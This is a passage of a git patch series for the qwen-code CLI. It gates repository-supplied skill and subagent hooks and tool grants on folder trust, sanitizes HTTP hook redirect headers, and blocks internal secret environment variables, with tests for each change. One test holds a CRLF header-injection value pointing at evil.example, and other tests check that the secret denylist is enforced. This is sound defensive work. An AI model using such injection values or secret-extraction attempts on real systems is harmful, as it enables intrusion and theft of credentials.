config.`, + ); } const envValue = env[envName]; if (envValue === undefined) { diff --git a/packages/cli/src/config/settings.test.ts b/packages/cli/src/config/settings.test.ts index 5e72f270d04..3582e0666c5 100644 --- a/packages/cli/src/config/settings.test.ts +++ b/packages/cli/src/config/settings.test.ts @@ -3356,9 +3356,14 @@ describe('Settings Loading and Merging', () => { const settings = loadSettings(MOCK_WORKSPACE_DIR); const warnings = getSettingsWarnings(settings); - expect( - warnings.some((w) => w.includes('security.allowedHttpHookUrls')), - ).toBe(true); + const warning = warnings.find((w) => + w.includes('security.allowedHttpHookUrls'), + ); + expect(warning).toBeDefined(); + // An empty whitelist means "allow all", so the warning must say the + // strip can widen the effective policy, not read as neutral. + expect(warning).toContain('now unrestricted'); + expect(warning).toContain('user settings'); }); it('should not warn about stripped security fields when workspace settings do not define them', () => { diff --git a/packages/cli/src/config/settings.ts b/packages/cli/src/config/settings.ts index 70688135aff..5261ba271dd 100644 --- a/packages/cli/src/config/settings.ts +++ b/packages/cli/src/config/settings.ts @@ -373,8 +373,15 @@ export function getSettingsWarnings(loadedSettings: LoadedSettings): string[] { if (workspaceFile.rawJson !== undefined) { for (const field of WORKSPACE_STRIPPED_SECURITY_FIELDS) { if (workspaceFile.originalSettings.security?.[field] !== undefined) { + // An empty whitelist means "allow all" to the hook URL validator, + // so stripping a workspace list that only narrowed destinations + // can widen the effective policy — say that explicitly. + const wideningNote = + field === 'allowedHttpHookUrls' + ? ' If it was your only whitelist, HTTP hook URLs are now unrestricted (SSRF protections still apply); move the list to your user settings to keep it in effect.' + : ''; warningSet.add( - `Warning: security.${field} in workspace settings (${workspaceFile.path}) is ignored. This setting is only honored from User, System, or SystemDefaults scope settings.`, + `Warning: security.${field} in workspace settings (${workspaceFile.path}) is ignored. This setting is only honored from User, System, or SystemDefaults scope settings.${wideningNote}`, ); } } diff --git a/packages/cli/src/services/SkillCommandLoader.test.ts b/packages/cli/src/services/SkillCommandLoader.test.ts index c7f2aed5eb9..c5be2402f1d 100644 --- a/packages/cli/src/services/SkillCommandLoader.test.ts +++ b/packages/cli/src/services/SkillCommandLoader.test.ts @@ -519,6 +519,31 @@ describe('SkillCommandLoader', () => { expect(mockAddSessionAllowRule).not.toHaveBeenCalled(); }); + it('still submits the skill body when allowedTools are gated', async () => { + (mockConfig.isTrustedFolder as ReturnType).mockReturnValue( + false, + ); + const skill = makeSkill({ + level: 'project', + allowedTools: ['Edit'], + }); + mockSkillManager.listSkills.mockImplementation( + ({ level }: { level: string }) => + Promise.resolve(level === 'project' ? [skill] : []), + ); + + const loader = new SkillCommandLoader(mockConfig); + const commands = await loader.loadCommands(signal); + const result = await commands[0].action?.({} as CommandContext, ''); + + expect(mockAddSessionAllowRule).not.toHaveBeenCalled(); + // Read-only use stays fine: only the permission grants are gated. + expect(result).toMatchObject({ + type: 'submit_prompt', + content: [{ text: makeSkillPrompt('Skill body content.') }], + }); + }); + it('grants allowedTools for a project skill in a trusted folder', async () => { (mockConfig.isTrustedFolder as ReturnType).mockReturnValue( true, diff --git a/packages/cli/src/services/SkillCommandLoader.ts b/packages/cli/src/services/SkillCommandLoader.ts index fe14fc1188e..b9e119541b3 100644 --- a/packages/cli/src/services/SkillCommandLoader.ts +++ b/packages/cli/src/services/SkillCommandLoader.ts @@ -10,6 +10,7 @@ import { appendToLastTextPart, buildSkillLlmContent, applySkillAllowedTools, + isTrustedSkillLevel, recordAutoSkillUsage, } from '@qwen-code/qwen-code-core'; import { dirname } from 'node:path'; @@ -152,10 +153,14 @@ export class SkillCommandLoader implements ICommandLoader { }, action: async (context, _args): Promise => { // Auto-approve the skill's declared allowedTools before its body - // is submitted — never for project skills in an untrusted folder, - // where repo-supplied frontmatter would otherwise grant - // session-wide permission auto-approvals (same gate as SkillTool). - if (skill.level !== 'project' || this.config?.isTrustedFolder()) { + // is submitted — never for repo-supplied skills in an untrusted + // folder, where frontmatter would otherwise grant session-wide + // permission auto-approvals. Same fail-closed gate as SkillTool: + // only levels that cannot originate from the repository skip it. + if ( + isTrustedSkillLevel(skill.level) || + this.config?.isTrustedFolder() + ) { applySkillAllowedTools( this.config?.getPermissionManager(), skill.allowedTools, diff --git a/packages/core/src/hooks/httpHookRunner.test.ts b/packages/core/src/hooks/httpHookRunner.test.ts index 6a59e31817d..71a9b2b2e78 100644 --- a/packages/core/src/hooks/httpHookRunner.test.ts +++ b/packages/core/src/hooks/httpHookRunner.test.ts @@ -277,7 +277,10 @@ describe('HttpHookRunner', () => { expect(result.output?.continue).toBe(true); // Exactly one request: the redirect target is never fetched expect(mockFetch).toHaveBeenCalledTimes(1); - // The remedy reaches the user in default runs, not just the debug log + // The remedy rides a systemMessage. How it surfaces is + // event-dependent: Stop hooks emit it as an agent message, other + // events log it via hookEventHandler — either way it is carried in + // the hook output, not limited to this runner's debug log. expect(result.output?.systemMessage).toContain( 'returned a redirect (302)', ); @@ -294,6 +297,108 @@ describe('HttpHookRunner', () => { ); }); + it.each([301, 307, 308])( + 'should treat %i redirects the same way (never follow)', + async (status) => { + mockFetch.mockResolvedValueOnce({ + ok: false, + status, + headers: new Headers({ location: 'https://api.example.com/moved' }), + }); + + const result = await httpRunner.execute( + createMockConfig(), + HookEventName.PreToolUse, + createMockInput(), + ); + + expect(result.success).toBe(true); + expect(result.output?.continue).toBe(true); + expect(mockFetch).toHaveBeenCalledTimes(1); + expect(result.output?.systemMessage).toContain( + `returned a redirect (${status})`, + ); + }, + ); + + it('should report "unknown" when a 3xx response has no Location header', async () => { + mockFetch.mockResolvedValueOnce({ + ok: false, + status: 302, + headers: new Headers(), + }); + + const result = await httpRunner.execute( + createMockConfig(), + HookEventName.PreToolUse, + createMockInput(), + ); + + expect(result.success).toBe(true); + expect(result.output?.systemMessage).toContain('"unknown"'); + }); + + it('should sanitize the attacker-controlled Location header before it reaches the systemMessage', async () => { + // A real Headers object rejects CRLF values outright, but a raw + // socket response can carry them; stub the getter to simulate one. + const evilLocation = + 'http://evil.example/\r\nFakeBoundary: 1' + 'A'.repeat(20000); + mockFetch.mockResolvedValueOnce({ + ok: false, + status: 302, + headers: { get: () => evilLocation }, + }); + + const result = await httpRunner.execute( + createMockConfig(), + HookEventName.PreToolUse, + createMockInput(), + ); + + const message = result.output?.systemMessage ?? ''; + // CR/LF stripped (the remainder concatenates), size capped like the + // other systemMessage producers. + expect(message).not.toContain('\r'); + expect(message).toContain('http://evil.example/FakeBoundary: 1'); + expect(message).toContain('[truncated'); + expect(message.length).toBeLessThan(11000); + }); + + it('should emit the redirect warning once per hook, then stay debug-only', async () => { + mockFetch.mockResolvedValue({ + ok: false, + status: 302, + headers: new Headers({ location: 'https://api.example.com/moved' }), + }); + + const config = createMockConfig(); + const input = createMockInput(); + + const first = await httpRunner.execute( + config, + HookEventName.PreToolUse, + input, + ); + const second = await httpRunner.execute( + config, + HookEventName.PreToolUse, + input, + ); + + expect(first.output?.systemMessage).toContain( + 'returned a redirect (302)', + ); + // A PreToolUse hook behind a redirecting LB fires on every tool + // call; the remedy is emitted once, later runs stay debug-only. + expect(second.output?.systemMessage).toBeUndefined(); + expect(second.output?.continue).toBe(true); + expect( + mockDebugLogger.warn.mock.calls.filter(([msg]) => + String(msg).includes('returned a redirect (302)'), + ), + ).toHaveLength(2); + }); + it('should parse JSON response with hook output', async () => { mockFetch.mockResolvedValueOnce({ ok: true, diff --git a/packages/core/src/hooks/httpHookRunner.ts b/packages/core/src/hooks/httpHookRunner.ts index df40e0e1f78..7374670628c 100644 --- a/packages/core/src/hooks/httpHookRunner.ts +++ b/packages/core/src/hooks/httpHookRunner.ts @@ -5,7 +5,11 @@ */ import { createDebugLogger } from '../utils/debugLogger.js'; -import { interpolateHeaders, interpolateUrl } from './envInterpolator.js'; +import { + interpolateHeaders, + interpolateUrl, + sanitizeHeaderValue, +} from './envInterpolator.js'; import { UrlValidator } from './urlValidator.js'; import { combineAbortSignals } from '../utils/abortController.js'; import { isBlockedAddress, isMetadataAddress } from './ssrfGuard.js'; @@ -106,6 +110,7 @@ export class HttpHookRunner { private urlValidator: UrlValidator; private readonly allowPrivateNetworkHosts: boolean; private readonly executedOnceHooks: Set = new Set(); + private readonly redirectWarnedHooks: Set = new Set(); private statusMessageCallback?: StatusMessageCallback; constructor( @@ -263,12 +268,35 @@ export class HttpHookRunner { // knows to repoint it, so name the target and the remedy. // debugLogger.warn alone is invisible in default runs, so also // surface it the way command-hook non-blocking errors do. + // + // The Location header is controlled by the (possibly + // compromised) endpoint: strip CR/LF/NUL and cap it like the + // other systemMessage producers before it can reach the + // conversation. + const location = this.truncateOutput( + sanitizeHeaderValue( + response.headers.get('location') ?? 'unknown', + ), + ); const message = `HTTP hook ${hookId} returned a redirect (${response.status}) to ` + - `"${response.headers.get('location') ?? 'unknown'}"; redirects ` + + `"${location}"; redirects ` + `are never followed (SSRF protection). Point the hook at the ` + `final URL (non-blocking).`; debugLogger.warn(message); + // The remedy only needs saying once per hook; a PreToolUse hook + // behind a redirecting LB would otherwise emit the warning on + // every tool call for the whole session. + if (this.redirectWarnedHooks.has(hookId)) { + return { + hookConfig, + eventName, + success: true, + output: { continue: true }, + duration, + }; + } + this.redirectWarnedHooks.add(hookId); return { hookConfig, eventName, diff --git a/packages/core/src/index.ts b/packages/core/src/index.ts index 98759126b2b..ea3052f1bb7 100644 --- a/packages/core/src/index.ts +++ b/packages/core/src/index.ts @@ -142,6 +142,7 @@ export * from './tools/modifiable-tool.js'; export { buildSkillLlmContent, applySkillAllowedTools, + isTrustedSkillLevel, } from './tools/skill-utils.js'; export { atomicWriteFile } from './utils/atomicFileWrite.js'; export { nextFireTime, parseCron } from './utils/cronParser.js'; diff --git a/packages/core/src/subagents/subagent-manager.test.ts b/packages/core/src/subagents/subagent-manager.test.ts index 470adda1d28..1cf23072290 100644 --- a/packages/core/src/subagents/subagent-manager.test.ts +++ b/packages/core/src/subagents/subagent-manager.test.ts @@ -2655,6 +2655,35 @@ bad`); await result.dispose(); }); + it('fails closed for non-allowlisted levels: session-level hooks need trust too', async () => { + const addAgentHooksSpy = vi.fn().mockReturnValue(vi.fn()); + vi.spyOn(mockConfig, 'getHookSystem').mockReturnValue({ + getRegistry: () => ({ addAgentHooks: addAgentHooksSpy }), + } as unknown as ReturnType); + vi.spyOn(mockConfig, 'isTrustedFolder').mockReturnValue(false); + + const result = await manager.createAgentHeadless( + { + ...baseConfig, + // baseConfig is 'session' level — not in the trusted allowlist + level: 'session', + hooks: { + PreToolUse: [ + { + matcher: 'Bash', + hooks: [{ type: 'command', command: 'echo' }], + }, + ], + }, + }, + mockConfig, + ); + + expect(addAgentHooksSpy).not.toHaveBeenCalled(); + expect(result).toHaveProperty('subagent'); + await result.dispose(); + }); + it('dispose unregisters even when execute() never runs (early-exit leak fix)', async () => { // Caller pattern: // const { subagent, dispose } = await createAgentHeadless(...); diff --git a/packages/core/src/subagents/subagent-manager.ts b/packages/core/src/subagents/subagent-manager.ts index a9caade58b0..27e3622c89c 100644 --- a/packages/core/src/subagents/subagent-manager.ts +++ b/packages/core/src/subagents/subagent-manager.ts @@ -924,11 +924,18 @@ export class SubagentManager { const hookSystem = runtimeContext.getHookSystem(); const hookRegistry = hookSystem?.getRegistry(); if (config.hooks && Object.keys(config.hooks).length > 0) { - if (config.level === 'project' && !runtimeContext.isTrustedFolder()) { - // Project agents load from /.qwen/agents/ regardless of - // trust (read-only use is fine), but their hooks are repo-supplied - // code execution — the same gate Config.getProjectHooks() applies - // to settings-file hooks. + // Fail closed: only levels that cannot originate from the + // repository ('user', 'builtin', 'extension') skip the folder-trust + // gate. 'project' agents load from /.qwen/agents/ regardless + // of trust (read-only use is fine), but their hooks are repo- + // supplied code execution — the same gate Config.getProjectHooks() + // applies to settings-file hooks — and any future or unset level + // requires trust too. + const trustedAgentLevel = + config.level === 'user' || + config.level === 'builtin' || + config.level === 'extension'; + if (!trustedAgentLevel && !runtimeContext.isTrustedFolder()) { debugLogger.warn( `Subagent "${config.name}" declares hooks but the folder is not trusted; ignoring per-agent hooks.`, ); diff --git a/packages/core/src/tools/skill-utils.test.ts b/packages/core/src/tools/skill-utils.test.ts index 82d29cfc726..68cb2ff4f37 100644 --- a/packages/core/src/tools/skill-utils.test.ts +++ b/packages/core/src/tools/skill-utils.test.ts @@ -7,11 +7,13 @@ import { describe, it, expect, vi, afterEach } from 'vitest'; import { applySkillAllowedTools, + isTrustedSkillLevel, collectAvailableSkillEntries, clearCollectedSkillEntriesCache, } from './skill-utils.js'; import type { PermissionManager } from '../permissions/permission-manager.js'; import type { SkillManager } from '../skills/skill-manager.js'; +import type { SkillLevel } from '../skills/types.js'; import type { Config } from '../config/config.js'; function mockPermissionManager(): { @@ -68,6 +70,22 @@ describe('applySkillAllowedTools', () => { }); }); +describe('isTrustedSkillLevel', () => { + it('accepts the levels that never originate from the repository', () => { + expect(isTrustedSkillLevel('user')).toBe(true); + expect(isTrustedSkillLevel('bundled')).toBe(true); + expect(isTrustedSkillLevel('extension')).toBe(true); + }); + + it('requires folder trust for repo-controlled and unknown levels', () => { + expect(isTrustedSkillLevel('project')).toBe(false); + // Fail closed: a missing or future level must never skip the gate. + expect(isTrustedSkillLevel(undefined)).toBe(false); + const futureLevel = 'session' as unknown as SkillLevel; + expect(isTrustedSkillLevel(futureLevel)).toBe(false); + }); +}); + describe('collectAvailableSkillEntries memoize cache', () => { function mockSkillManager(): SkillManager { return { diff --git a/packages/core/src/tools/skill-utils.ts b/packages/core/src/tools/skill-utils.ts index df3caee31d1..70bf026edea 100644 --- a/packages/core/src/tools/skill-utils.ts +++ b/packages/core/src/tools/skill-utils.ts @@ -255,6 +255,18 @@ ${escapeXml(entry.description)} .join('\n'); } +/** + * Skill levels that never originate from the repository: 'user' lives in + * ~/.qwen, 'bundled' ships with the product, and extensions load only + * from the user-scope extensions directory. Side effects of skills at any + * other (or missing) level — allowedTools grants, hooks — are repo- + * controllable, so callers gate them on folder trust and this check fails + * closed. + */ +export function isTrustedSkillLevel(level: SkillLevel | undefined): boolean { + return level === 'user' || level === 'bundled' || level === 'extension'; +} + /** * Grants a skill's `allowedTools` as session-scoped permission allow rules. * diff --git a/packages/core/src/tools/skill.test.ts b/packages/core/src/tools/skill.test.ts index 7dd98970b83..8940f06fecf 100644 --- a/packages/core/src/tools/skill.test.ts +++ b/packages/core/src/tools/skill.test.ts @@ -603,6 +603,28 @@ describe('SkillTool', () => { expect(registerSkillHooks).toHaveBeenCalledTimes(1); }); + + it('registers hooks for an extension-level skill regardless of folder trust', async () => { + // Extensions load only from the user-scope extensions directory, so + // they are in the trusted allowlist and must not regress behind the + // fail-closed gate. + vi.mocked(config.isTrustedFolder).mockReturnValue(false); + vi.mocked(mockSkillManager.loadSkillForRuntime).mockResolvedValue({ + ...hookedSkill, + level: 'extension', + }); + const getSessionHooksManager = vi.fn().mockReturnValue({}); + vi.mocked(config.getHookSystem).mockReturnValue({ + getSessionHooksManager, + } as unknown as ReturnType); + + const invocation = ( + skillTool as SkillToolWithProtectedMethods + ).createInvocation({ skill: 'hooked' }); + await invocation.execute(); + + expect(registerSkillHooks).toHaveBeenCalledTimes(1); + }); }); describe('allowedTools trust gating', () => { diff --git a/packages/core/src/tools/skill.ts b/packages/core/src/tools/skill.ts index 485d4f082ce..de860f18962 100644 --- a/packages/core/src/tools/skill.ts +++ b/packages/core/src/tools/skill.ts @@ -38,6 +38,7 @@ import { applySkillAllowedTools, collectAvailableSkillEntries, clearCollectedSkillEntriesCache, + isTrustedSkillLevel, } from './skill-utils.js'; /** @@ -522,11 +523,12 @@ class SkillToolInvocation extends BaseToolInvocation { // repo-supplied side effects are gated until the folder is trusted: // allowedTools become session-wide permission auto-approvals, and // hooks are code execution (the same gate Config.getProjectHooks() - // applies to settings-file hooks). - const untrustedProjectSkill = - skill.level === 'project' && !this.config.isTrustedFolder(); + // applies to settings-file hooks). Fail closed: only levels that + // cannot originate from the repository skip the gate. + const sideEffectsGated = + !isTrustedSkillLevel(skill.level) && !this.config.isTrustedFolder(); - if (untrustedProjectSkill) { + if (sideEffectsGated) { if (skill.allowedTools?.length) { debugLogger.warn( `Skill "${this.params.skill}" declares allowedTools but the folder is not trusted; ignoring skill allowedTools.`, @@ -547,10 +549,12 @@ class SkillToolInvocation extends BaseToolInvocation { skillName: skill.name, }); if (skill.hooks) { - if (untrustedProjectSkill) { - debugLogger.warn( - `Skill "${this.params.skill}" declares hooks but the folder is not trusted; ignoring skill hooks.`, - ); + if (sideEffectsGated) { + if (Object.keys(skill.hooks).length > 0) { + debugLogger.warn( + `Skill "${this.params.skill}" declares hooks but the folder is not trusted; ignoring skill hooks.`, + ); + } } else { const hookSystem = this.config.getHookSystem(); const sessionId = this.config.getSessionId(); diff --git a/packages/core/src/utils/sanitize-child-env.ts b/packages/core/src/utils/sanitize-child-env.ts index a328ebad2f8..45d88f8fe21 100644 --- a/packages/core/src/utils/sanitize-child-env.ts +++ b/packages/core/src/utils/sanitize-child-env.ts @@ -39,7 +39,9 @@ const INTERNAL_SECRET_ENV_VARS_UPPER = new Set( /** * Case-insensitive check for the internal-secret denylist. `process.env` is * case-insensitive on Windows, so a mixed-case reference like - * `$qwen_server_token` must still be blocked. + * `$qwen_server_token` must still be blocked. On POSIX systems a genuinely + * distinct lowercase variable is caught too — deliberate, since these names + * have no legitimate use. */ export const isInternalSecretEnvVar = (name: string): boolean => INTERNAL_SECRET_ENV_VARS_UPPER.has(name.toUpperCase()); @@ -56,7 +58,8 @@ export function sanitizeChildEnv( ): NodeJS.ProcessEnv { const sanitized: NodeJS.ProcessEnv = { ...env }; // Case variants must go too: on Windows env keys are case-insensitive, - // so an externally set `qwen_server_token` is just the canonical secret. + // so an externally set `qwen_server_token` is just the canonical secret; + // on POSIX the lowercase spelling is removed as well (deliberate). for (const key of Object.keys(sanitized)) { if (isInternalSecretEnvVar(key)) { delete sanitized[key]; From e83f5e139ad8976b3ef0d614b422c25e12f26cfe Mon Sep 17 00:00:00 2001 From: qwen-code-ci-bot Date: Mon, 3 Aug 2026 14:24:44 +0000 Subject: [PATCH 11/21] fix(hooks): event-scoped redirect warnings, merged systemMessages (#8396) --- .../src/services/SkillCommandLoader.test.ts | 20 +++++ .../core/src/hooks/hookAggregator.test.ts | 20 +++++ packages/core/src/hooks/hookAggregator.ts | 11 ++- .../core/src/hooks/httpHookRunner.test.ts | 78 +++++++++++++++++-- packages/core/src/hooks/httpHookRunner.ts | 13 ++-- .../src/subagents/subagent-manager.test.ts | 27 +++++++ packages/core/src/tools/skill.test.ts | 15 ++++ .../core/src/utils/envVarResolver.test.ts | 17 ++++ 8 files changed, 188 insertions(+), 13 deletions(-) diff --git a/packages/cli/src/services/SkillCommandLoader.test.ts b/packages/cli/src/services/SkillCommandLoader.test.ts index c5be2402f1d..081970c8bc8 100644 --- a/packages/cli/src/services/SkillCommandLoader.test.ts +++ b/packages/cli/src/services/SkillCommandLoader.test.ts @@ -583,6 +583,26 @@ describe('SkillCommandLoader', () => { expect(mockAddSessionAllowRule).toHaveBeenCalledTimes(2); }); + + it('grants allowedTools for an extension-level skill regardless of folder trust', async () => { + (mockConfig.isTrustedFolder as ReturnType).mockReturnValue( + false, + ); + const skill = makeSkill({ + level: 'extension', + allowedTools: ['Bash(git *)', 'Edit'], + }); + mockSkillManager.listSkills.mockImplementation( + ({ level }: { level: string }) => + Promise.resolve(level === 'extension' ? [skill] : []), + ); + + const loader = new SkillCommandLoader(mockConfig); + const commands = await loader.loadCommands(signal); + await commands[0].action?.({} as CommandContext, ''); + + expect(mockAddSessionAllowRule).toHaveBeenCalledTimes(2); + }); }); describe('skills.disabled filter', () => { diff --git a/packages/core/src/hooks/hookAggregator.test.ts b/packages/core/src/hooks/hookAggregator.test.ts index 33b7664d3e1..ad17bb8aa38 100644 --- a/packages/core/src/hooks/hookAggregator.test.ts +++ b/packages/core/src/hooks/hookAggregator.test.ts @@ -110,6 +110,26 @@ describe('HookAggregator', () => { expect(result.finalOutput?.reason).toBe('first reason\nsecond reason'); }); + it('should concatenate systemMessages so a one-shot message survives later hooks', () => { + const outputs: HookOutput[] = [ + { continue: true, systemMessage: 'Warning: redirect to final URL' }, + { continue: true, systemMessage: 'audit ok' }, + ]; + + const results: HookExecutionResult[] = outputs.map((output) => ({ + hookConfig: { type: HookType.Command, command: 'echo test' }, + eventName: HookEventName.Stop, + success: true, + output, + duration: 100, + })); + + const result = aggregator.aggregateResults(results, HookEventName.Stop); + expect(result.finalOutput?.systemMessage).toBe( + 'Warning: redirect to final URL\naudit ok', + ); + }); + it('should block when any hook blocks', () => { const outputs: HookOutput[] = [ { reason: 'allowed', decision: 'allow' }, diff --git a/packages/core/src/hooks/hookAggregator.ts b/packages/core/src/hooks/hookAggregator.ts index db3f7d99bb2..912884ee956 100644 --- a/packages/core/src/hooks/hookAggregator.ts +++ b/packages/core/src/hooks/hookAggregator.ts @@ -135,6 +135,7 @@ export class HookAggregator { * Rules: * - Any "block" or "deny" decision results in blocking (most restrictive wins) * - Reasons are concatenated with newlines + * - System messages are concatenated with newlines * - continue=false takes precedence over continue=true * - Additional context is concatenated * - For PostToolUse, decision and reason are required fields @@ -195,12 +196,18 @@ export class HookAggregator { } } - // Copy other fields (later values win for simple fields) + // Copy other fields (later values win for simple fields; + // systemMessage is concatenated like reason so a one-shot message + // from an earlier hook survives later hooks). if (output.suppressOutput !== undefined) { merged.suppressOutput = output.suppressOutput; } if (output.systemMessage !== undefined) { - merged.systemMessage = output.systemMessage; + merged.systemMessage = merged.systemMessage + ? [merged.systemMessage, output.systemMessage] + .filter(Boolean) + .join('\n') + : output.systemMessage; } } diff --git a/packages/core/src/hooks/httpHookRunner.test.ts b/packages/core/src/hooks/httpHookRunner.test.ts index 71a9b2b2e78..360a9749e4f 100644 --- a/packages/core/src/hooks/httpHookRunner.test.ts +++ b/packages/core/src/hooks/httpHookRunner.test.ts @@ -278,9 +278,9 @@ describe('HttpHookRunner', () => { // Exactly one request: the redirect target is never fetched expect(mockFetch).toHaveBeenCalledTimes(1); // The remedy rides a systemMessage. How it surfaces is - // event-dependent: Stop hooks emit it as an agent message, other - // events log it via hookEventHandler — either way it is carried in - // the hook output, not limited to this runner's debug log. + // event-dependent: Stop/SubagentStop show it to the user; other + // events only write it to the debug-file channel — either way it + // is carried in the hook output. expect(result.output?.systemMessage).toContain( 'returned a redirect (302)', ); @@ -364,12 +364,15 @@ describe('HttpHookRunner', () => { expect(message.length).toBeLessThan(11000); }); - it('should emit the redirect warning once per hook, then stay debug-only', async () => { - mockFetch.mockResolvedValue({ + it('should emit the redirect warning once per hook URL and event, then stay debug-only', async () => { + const redirectResponse = { ok: false, status: 302, headers: new Headers({ location: 'https://api.example.com/moved' }), - }); + }; + mockFetch + .mockResolvedValueOnce(redirectResponse) + .mockResolvedValueOnce(redirectResponse); const config = createMockConfig(); const input = createMockInput(); @@ -399,6 +402,69 @@ describe('HttpHookRunner', () => { ).toHaveLength(2); }); + it('should keep a warn slot per event so a PreToolUse 3xx does not burn the Stop warning', async () => { + const redirectResponse = { + ok: false, + status: 302, + headers: new Headers({ location: 'https://api.example.com/moved' }), + }; + mockFetch + .mockResolvedValueOnce(redirectResponse) + .mockResolvedValueOnce(redirectResponse); + + const config = createMockConfig(); + const input = createMockInput(); + + const preToolUse = await httpRunner.execute( + config, + HookEventName.PreToolUse, + input, + ); + const stop = await httpRunner.execute(config, HookEventName.Stop, input); + + expect(preToolUse.output?.systemMessage).toContain( + 'returned a redirect (302)', + ); + // Stop/SubagentStop is where the systemMessage actually reaches + // the user; it keeps its own slot instead of inheriting the spent + // PreToolUse one. + expect(stop.output?.systemMessage).toContain('returned a redirect (302)'); + }); + + it('should warn again when the hook URL changes, even for a shared name', async () => { + const redirectResponse = { + ok: false, + status: 302, + headers: new Headers({ location: 'https://api.example.com/moved' }), + }; + mockFetch + .mockResolvedValueOnce(redirectResponse) + .mockResolvedValueOnce(redirectResponse); + + const input = createMockInput(); + + const before = await httpRunner.execute( + createMockConfig({ name: 'api-hook' }), + HookEventName.PreToolUse, + input, + ); + const after = await httpRunner.execute( + createMockConfig({ + name: 'api-hook', + url: 'https://api.example.com/hook-v2', + }), + HookEventName.PreToolUse, + input, + ); + + expect(before.output?.systemMessage).toContain( + 'returned a redirect (302)', + ); + expect(after.output?.systemMessage).toContain( + 'returned a redirect (302)', + ); + }); + it('should parse JSON response with hook output', async () => { mockFetch.mockResolvedValueOnce({ ok: true, diff --git a/packages/core/src/hooks/httpHookRunner.ts b/packages/core/src/hooks/httpHookRunner.ts index 7374670628c..3cb91db1272 100644 --- a/packages/core/src/hooks/httpHookRunner.ts +++ b/packages/core/src/hooks/httpHookRunner.ts @@ -284,10 +284,13 @@ export class HttpHookRunner { `are never followed (SSRF protection). Point the hook at the ` + `final URL (non-blocking).`; debugLogger.warn(message); - // The remedy only needs saying once per hook; a PreToolUse hook - // behind a redirecting LB would otherwise emit the warning on - // every tool call for the whole session. - if (this.redirectWarnedHooks.has(hookId)) { + // The remedy only needs saying once per hook URL and event + // (keyed like executedOnceHooks): a PreToolUse hook behind a + // redirecting LB would otherwise emit it on every tool call, + // and event-scoping keeps a debug-only PreToolUse 3xx from + // burning the slot a user-visible Stop emission needs. + const warnKey = `${hookConfig.url}:${eventName}`; + if (this.redirectWarnedHooks.has(warnKey)) { return { hookConfig, eventName, @@ -296,7 +299,7 @@ export class HttpHookRunner { duration, }; } - this.redirectWarnedHooks.add(hookId); + this.redirectWarnedHooks.add(warnKey); return { hookConfig, eventName, diff --git a/packages/core/src/subagents/subagent-manager.test.ts b/packages/core/src/subagents/subagent-manager.test.ts index 1cf23072290..43fc84162d1 100644 --- a/packages/core/src/subagents/subagent-manager.test.ts +++ b/packages/core/src/subagents/subagent-manager.test.ts @@ -2655,6 +2655,33 @@ bad`); await result.dispose(); }); + it('registers hooks for an extension-level subagent regardless of folder trust', async () => { + const addAgentHooksSpy = vi.fn().mockReturnValue(vi.fn()); + vi.spyOn(mockConfig, 'getHookSystem').mockReturnValue({ + getRegistry: () => ({ addAgentHooks: addAgentHooksSpy }), + } as unknown as ReturnType); + vi.spyOn(mockConfig, 'isTrustedFolder').mockReturnValue(false); + + const result = await manager.createAgentHeadless( + { + ...baseConfig, + level: 'extension', + hooks: { + PreToolUse: [ + { + matcher: 'Bash', + hooks: [{ type: 'command', command: 'echo' }], + }, + ], + }, + }, + mockConfig, + ); + + expect(addAgentHooksSpy).toHaveBeenCalledTimes(1); + await result.dispose(); + }); + it('fails closed for non-allowlisted levels: session-level hooks need trust too', async () => { const addAgentHooksSpy = vi.fn().mockReturnValue(vi.fn()); vi.spyOn(mockConfig, 'getHookSystem').mockReturnValue({ diff --git a/packages/core/src/tools/skill.test.ts b/packages/core/src/tools/skill.test.ts index 8940f06fecf..d4add31bcde 100644 --- a/packages/core/src/tools/skill.test.ts +++ b/packages/core/src/tools/skill.test.ts @@ -686,6 +686,21 @@ describe('SkillTool', () => { expect(mockAddSessionAllowRule).toHaveBeenCalledTimes(2); }); + + it('grants allowedTools for a bundled skill regardless of folder trust', async () => { + vi.mocked(config.isTrustedFolder).mockReturnValue(false); + vi.mocked(mockSkillManager.loadSkillForRuntime).mockResolvedValue({ + ...projectSkill, + level: 'bundled', + }); + + const invocation = ( + skillTool as SkillToolWithProtectedMethods + ).createInvocation({ skill: 'build' }); + await invocation.execute(); + + expect(mockAddSessionAllowRule).toHaveBeenCalledTimes(2); + }); }); describe('refreshSkills', () => { diff --git a/packages/core/src/utils/envVarResolver.test.ts b/packages/core/src/utils/envVarResolver.test.ts index 890a9246056..9d792e2dc9a 100644 --- a/packages/core/src/utils/envVarResolver.test.ts +++ b/packages/core/src/utils/envVarResolver.test.ts @@ -83,6 +83,23 @@ describe('resolveEnvVarsInString', () => { expect(result).not.toContain('custom-supplied-secret'); }); + it('should never resolve braced ${VAR} internal secrets from process.env', () => { + process.env['QWEN_SERVER_TOKEN'] = 'daemon-secret'; + + const result = resolveEnvVarsInString('t=${QWEN_SERVER_TOKEN}'); + + expect(result).toBe('t=${QWEN_SERVER_TOKEN}'); + expect(result).not.toContain('daemon-secret'); + }); + + it('should block braced internal secrets even when customEnv supplies them', () => { + const result = resolveEnvVarsInString('t=${QWEN_SERVER_TOKEN}', { + QWEN_SERVER_TOKEN: 'custom-supplied-secret', + }); + expect(result).toBe('t=${QWEN_SERVER_TOKEN}'); + expect(result).not.toContain('custom-supplied-secret'); + }); + it('should leave undefined variables with braces unchanged', () => { const result = resolveEnvVarsInString('Value is ${UNDEFINED_VAR}'); From 199aaee0da1d8559cc65f2fbdb92c0fbeb64730f Mon Sep 17 00:00:00 2001 From: qwen-code-ci-bot Date: Mon, 3 Aug 2026 18:25:55 +0000 Subject: [PATCH 12/21] fix(cli): warn when skill allowedTools trust gate fires in slash-command path (#8396) --- packages/cli/src/services/SkillCommandLoader.ts | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/packages/cli/src/services/SkillCommandLoader.ts b/packages/cli/src/services/SkillCommandLoader.ts index b9e119541b3..15db8c4497b 100644 --- a/packages/cli/src/services/SkillCommandLoader.ts +++ b/packages/cli/src/services/SkillCommandLoader.ts @@ -165,6 +165,10 @@ export class SkillCommandLoader implements ICommandLoader { this.config?.getPermissionManager(), skill.allowedTools, ); + } else if (skill.allowedTools?.length) { + debugLogger.warn( + `Skill "${skill.name}" declares allowedTools but the folder is not trusted; ignoring skill allowedTools.`, + ); } const body = buildSkillLlmContent( From 0f9e98e5d8a317010f1e072422fe11facea38195 Mon Sep 17 00:00:00 2001 From: qwen-code-ci-bot Date: Mon, 3 Aug 2026 20:04:29 +0000 Subject: [PATCH 13/21] fix(core): apply skill side effects when folder trust is granted mid-session (#8396) --- 